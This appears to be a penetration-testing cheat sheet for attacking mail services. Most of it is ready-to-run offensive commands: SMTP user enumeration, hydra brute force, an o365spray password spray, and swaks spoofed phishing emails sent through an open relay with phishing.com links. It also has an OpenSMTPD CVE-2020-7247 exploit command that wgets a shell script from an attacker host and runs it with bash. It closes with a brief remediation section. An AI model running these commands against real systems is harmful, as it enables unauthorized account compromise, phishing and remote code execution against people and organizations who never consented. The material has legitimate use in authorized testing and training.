πŸ›‘οΈ Methodology Checklist

  • Banner grab: SMTP (25), IMAP (143), POP3 (110)
  • User enumeration via SMTP VRFY/RCPT TO
  • Brute-force: hydra -L users.txt -P pass.txt smtp://[TARGET]
  • Test for open relay: send email through target SMTP
  • POP3/IMAP: authenticate and read emails for credentials/intel
  • Check for Roundcube, Zimbra, OWA web interface
  • Test web mail for credential brute-force or default creds
  • Review mail content for lateral movement intelligence

🎯 Operational Context

Use when: SMTP/IMAP/POP3 exposed β€” enumerate valid users via VRFY/EXPN/RCPT TO, brute force credentials, or exploit misconfigured open relay. Think Dumber First: VRFY root and VRFY admin on SMTP first β€” if the server confirms or denies specific users, you have user enumeration. Then check for open relay: send email to external address without auth. Skip when: Email is behind cloud relay (SendGrid, SES) β€” most attacks only work against direct SMTP.


⚑ Tactical Cheatsheet

CommandTactical Outcome
host -t MX [DOMAIN]Find mail exchange servers
dig mx [DOMAIN] | grep "MX" | grep -v ";"MX lookup with dig
sudo nmap -Pn -sV -sC -p25,110,143,465,587,993,995 [TARGET_IP]Scan all email ports
telnet [TARGET_IP] 25 β†’ VRFY [USER]Test if user exists via SMTP VRFY
telnet [TARGET_IP] 25 β†’ MAIL FROM:x@x.com β†’ RCPT TO:[USER]Test if user exists via RCPT TO
telnet [TARGET_IP] 110 β†’ USER [USER]Test if user exists via POP3
smtp-user-enum -M RCPT -U [USER_LIST] -D [DOMAIN] -t [TARGET_IP]Automated SMTP user enumeration
python3 o365spray.py --validate --domain [DOMAIN]Check if domain uses Office 365
python3 o365spray.py --enum -U users.txt --domain [DOMAIN]Enumerate valid O365 usernames
hydra -L users.txt -p '[PASS]' -f [TARGET_IP] pop3POP3 password spray
python3 o365spray.py --spray -U users.txt -p '[PASS]' --count 1 --lockout 1 --domain [DOMAIN]O365 password spray (lockout-aware)
nmap -p25 -Pn --script smtp-open-relay [TARGET_IP]Check for open relay misconfiguration
swaks --from [FAKE_ADDR] --to [TARGET_ADDR] --header 'Subject: Test' --body 'Click http://phishing.com' --server [TARGET_IP]Send spoofed email via open relay
python3 opensmtpd_exploit.py [TARGET_IP] 25 "[COMMAND]"CVE-2020-7247 OpenSMTPD RCE

πŸ”¬ Deep Dive & Workflow

Email Port Reference

PortProtocolEncryption
25SMTPNone (server-to-server, rarely blocked internally)
110POP3None
143IMAP4None
465SMTPSSSL/TLS
587SMTPSTARTTLS
993IMAPSSSL/TLS
995POP3SSSL/TLS

User Enumeration Methods

SMTP and POP3 expose commands that reveal whether accounts exist:

MethodProtocolCommandExistsDoesn’t Exist
VRFYSMTPVRFY root252 2.0.0 root550 5.1.1 User unknown
EXPNSMTPEXPN support-teamLists members550
RCPT TOSMTPRCPT TO:john250 2.1.5 Recipient ok550 5.1.1 User unknown
USERPOP3USER julio+OK-ERR

RCPT TO is most reliable β€” requires completing MAIL FROM: first. Automate with:

smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t [TARGET_IP]

Cloud Email (Office 365)

O365 has custom auth endpoints; standard tools fail. Use o365spray:

# 1. Confirm domain uses O365
python3 o365spray.py --validate --domain msplaintext.xyz
 
# 2. Enumerate valid users (doesn't trigger lockout by itself)
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
 
# 3. Spray (--count 1 = 1 attempt per user, --lockout 1 = 1 min between rounds)
python3 o365spray.py --spray -U valid_users.txt -p 'Spring2024!' --count 1 --lockout 1 --domain msplaintext.xyz

Open Relay β€” Email Spoofing Vector

An open relay accepts mail from any sender to any recipient without authentication. Useful for phishing campaigns with the target’s own domain as sender:

# Detect
nmap -p25 --script smtp-open-relay [TARGET_IP]
 
# Exploit β€” send phishing email appearing from legitimate internal address
swaks --from notifications@[DOMAIN] \
      --to employees@[DOMAIN] \
      --header 'Subject: Urgent Action Required' \
      --body 'Please reset your password: http://phishing.com' \
      --server [TARGET_IP]

CVE-2020-7247 β€” OpenSMTPD RCE (Pre-6.6.2)

Command injection via sender email address. The parser fails to sanitize ; in the MAIL FROM field, allowing the string after ; to execute as a shell command. Runs as root since SMTP uses privileged port 25.

Max payload length: 64 characters. Requires chaining (e.g., download and execute a script).

python3 opensmtpd_exploit.py [TARGET_IP] 25 "wget http://[LHOST]/shell.sh -O /tmp/s && bash /tmp/s"

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
VRFY returns β€˜252 Cannot TELL’VRFY disabledTry RCPT TO enumeration: MAIL FROM:<a@b.com> then RCPT TO:<user@target.com> β€” 250 = valid, 550 = invalid
smtp-user-enum no resultsAuth required before commandsSome SMTP requires EHLO first: add -H flag; or use hydra SMTP auth brute instead
Open relay not accepting external mailRelay restricted by domainTest with: swaks --to external@gmail.com --from internal@target.com --server [SMTP_IP]
Hydra SMTP brute too slowSMTP rate limitingReduce threads: hydra -t 5; use Medusa with lower rate
IMAP brute force returns all failuresWrong port or TLS requiredTry port 993 (IMAPS): hydra -L users.txt -P pass.txt imaps://[TARGET]

πŸ“ Reporting Trigger

Finding Title: SMTP User Enumeration and Open Relay Misconfiguration Impact: SMTP VRFY/RCPT enumeration provides valid email address list for targeted phishing and credential spraying. Open relay enables sending spoofed email from target domain, facilitating social engineering attacks with high credibility. Root Cause: SMTP server configured with VRFY enabled and relay restrictions not enforced for all source networks. Recommendation: Disable SMTP VRFY and EXPN commands. Restrict relay to authorized source IPs and authenticated sessions only. Implement SPF, DKIM, and DMARC. Enable rate limiting and fail2ban for SMTP authentication.